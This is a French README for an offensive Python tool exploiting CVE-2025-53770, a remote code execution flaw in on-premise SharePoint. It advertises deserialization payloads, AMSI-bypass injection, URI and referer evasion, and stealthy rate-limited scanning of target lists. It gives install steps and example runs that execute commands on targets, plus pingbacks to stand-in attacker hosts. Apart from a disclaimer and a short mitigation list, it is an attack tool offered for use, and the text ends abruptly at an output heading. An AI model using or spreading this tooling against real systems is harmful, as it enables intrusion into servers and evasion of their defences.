Divine Absolute - Outil d'exploitation CVE-2025-53770

Aperçu

Divine Absolute est un outil d'exploitation Python sophistiqué et piloté par assistant, ciblant CVE-2025-53770, une vulnérabilité critique (CVSS 9,8) d'exécution de code à distance (RCE) non authentifiée dans Microsoft SharePoint Server sur site (2016, 2019, Subscription Edition). Cette vulnérabilité, divulguée en tant que zero-day le 19 juillet 2025, découle de la désérialisation de données non fiables dans /_layouts/15/ToolPane.aspx. L'outil est conçu uniquement pour les tests d'intrusion éthiques et la recherche en sécurité autorisée, offrant une précision, une furtivité et une adaptabilité inégalées pour la reconnaissance, l'exploitation et la vérification.

Dépôt : https://github.com/exfil0/CVE-2025-53770

⚠️ Avertissement légal : Cet outil est destiné à un usage licite et autorisé uniquement, dans des environnements contrôlés et avec une permission explicite. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale et peut entraîner de graves conséquences juridiques. L'auteur décline toute responsabilité en cas de mauvaise utilisation.

Fonctionnalités

• Modes :
  • Recon : détecte la présence de SharePoint, sa version et l'accessibilité de ToolPane.aspx avec un scoring avancé et des regex (par ex., 16.0.0.\d+-\w+?).
  • Exploit : envoie des charges utiles via ToolPane.aspx avec des contournements robustes.
  • Full : combine reconnaissance et exploitation, avec une exploitation agressive facultative.
• Génération de charges utiles :
  • Intègre ysoserial.net pour les charges utiles de désérialisation .NET (par ex., ObjectDataProvider, LosFormatter).
  • pythonnet facultatif pour les charges utiles de repli HTTP/DNS pingback (par ex., WebRequest.Create, Dns.GetHostEntry).
  • Prend en charge la compression GZIP avec encodage/décodage explicite et validation base64.
  • Injecte des contournements AMSI (réflexion de base, obfusqués ou extraits personnalisés) dans les commandes PowerShell, y compris les charges utiles encodées en base64 (-enc).
• Contournements :
  • Évasion URI : suffixes fixes ou aléatoires (par ex., /xp.aspx, basés sur UUID).
  • Spoofing du référent : aucun, domaines externes (par ex., www.google.com), URL personnalisées ou chemins SharePoint internes (par ex., /_layouts/15/sharepoint.aspx).
• Furtivité :
  • Limitation de débit adaptative avec un plancher de RPS minimal (0,01) et un contrôle des rafales.
  • Concurrence thread-safe avec rythme et gigue protégés par verrou (0 à 0,1 s).
• Vérification :
  • Confirmation RCE robuste avec des regex OR compilées, nouvelles tentatives en cas de RequestException, et codes de statut/chemins personnalisables.
• Reconnaissance :
  • Détection SharePoint améliorée via les en-têtes (par ex., MicrosoftSharePointTeamServices), les chemins (par ex., /versions.aspx) et les regex.
• Sortie :
  • Résultats JSON avec journalisation forensique pour l'analyse.
• Ergonomie :
  • Assistant interactif pour une configuration facile.
  • Prend en charge Mono/Wine pour ysoserial.net sur les systèmes non Windows.
  • Prise en charge des proxys (HTTP/SOCKS5) et délais d'expiration personnalisables.

Contexte de CVE-2025-53770

• Vulnérabilité : RCE non authentifiée via désérialisation dans /_layouts/15/ToolPane.aspx.
• Affectés : SharePoint Server 2016, 2019, Subscription Edition (les versions EOL 2010/2013 sont également vulnérables).
• Non affectés : SharePoint Online (M365).
• Exploitée : depuis le 18 juillet 2025, dans des campagnes telles que « ToolShell » menées par des acteurs parrainés par des États (par ex., Linen Typhoon).
• Correctifs : Les correctifs Microsoft (par ex., KB5002768, KB5002754) publiés le 19 juillet 2025 atténuent complètement la vulnérabilité. L'inscription au catalogue KEV de la CISA impose un correctif au niveau fédéral d'ici le 21 juillet 2025.
• Atténuations : Corriger, faire pivoter les clés après le correctif, activer AMSI/Defender (mode complet), surveiller les requêtes POST vers /ToolPane.aspx, utiliser des règles WAF (par ex., Cloudflare).

Installation

Prérequis

• Python 3.8+
• Dépendances :

  pip install requests termcolor
  

• Facultatif (pour le repli de sérialisation .NET) :

  pip install pythonnet
  

• ysoserial.net :
  • Téléchargez-le depuis les versions de ysoserial.net.
  • Placez ysoserial.exe dans un chemin connu (par ex., ./ysoserial.exe).
• Mono/Wine (systèmes non Windows) :

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS (via Homebrew)
  brew install mono
  

• Laboratoire Docker (recommandé pour les tests) :

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

Configuration

1. Clonez le dépôt :

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. Installez les dépendances Python :

   pip install -r requirements.txt
   

3. Assurez-vous que ysoserial.exe est accessible ou fournissez son chemin lors de l'exécution.
4. (Facultatif) Vérifiez Mono/Wine pour les systèmes non Windows.

Utilisation

Lancez l'assistant interactif :

python divine_absolute.py

Flux de travail

1. Sélection du mode :
   • Recon : recherche la présence et la version de SharePoint.
   • Exploit : envoie la charge utile à ToolPane.aspx.
   • Full : recon + exploit (mode agressif facultatif).
2. Saisie de la cible :
   • URL unique (par ex., https://sharepoint.example.com).
   • Fichier contenant des URL (une par ligne).
3. Configuration de la charge utile :
   • ysoserial.net : spécifiez le chemin, le gadget (par ex., ObjectDataProvider) et la commande (par ex., cmd /c whoami).
   • File : chargez une charge utile GZIP base64 depuis un fichier.
   • String : saisissez directement une charge utile GZIP base64.
   • Pingback : générez un pingback HTTP/DNS (par ex., http://attacker.com/callback ou sub.attacker.com).
   • Contournement AMSI : choisissez NONE, BASIC_REFLECTION, CONCAT_OBFUSCATED ou un extrait personnalisé.
4. Options de contournement :
   • URI : NONE, FIXED (par ex., /xp.aspx), RANDOM (basé sur UUID).
   • Référent : DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL.
5. Paramètres réseau :
   • Proxy (par ex., http://127.0.0.1:8080).
   • Threads, délai d'expiration, gigue et limite de débit (RPS).
6. Vérification RCE :
   • Spécifiez le chemin (par ex., /sitepages/result.txt), les regex (par ex., Xanthorox.*), les codes de statut (par ex., 200,403), les tentatives, le délai et le délai d'expiration.

Exemples de commandes

• Reconnaissance :

  python divine_absolute.py
  # Select: Mode=Recon, Target=https://sharepoint.example.com
  

• Exploitation avec ysoserial.net :

  python divine_absolute.py
  # Select: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• Mode Full avec vérification :

  python divine_absolute.py
  # Select: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• Pingback DNS :

  python divine_absolute.py
  # Select: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

Sortie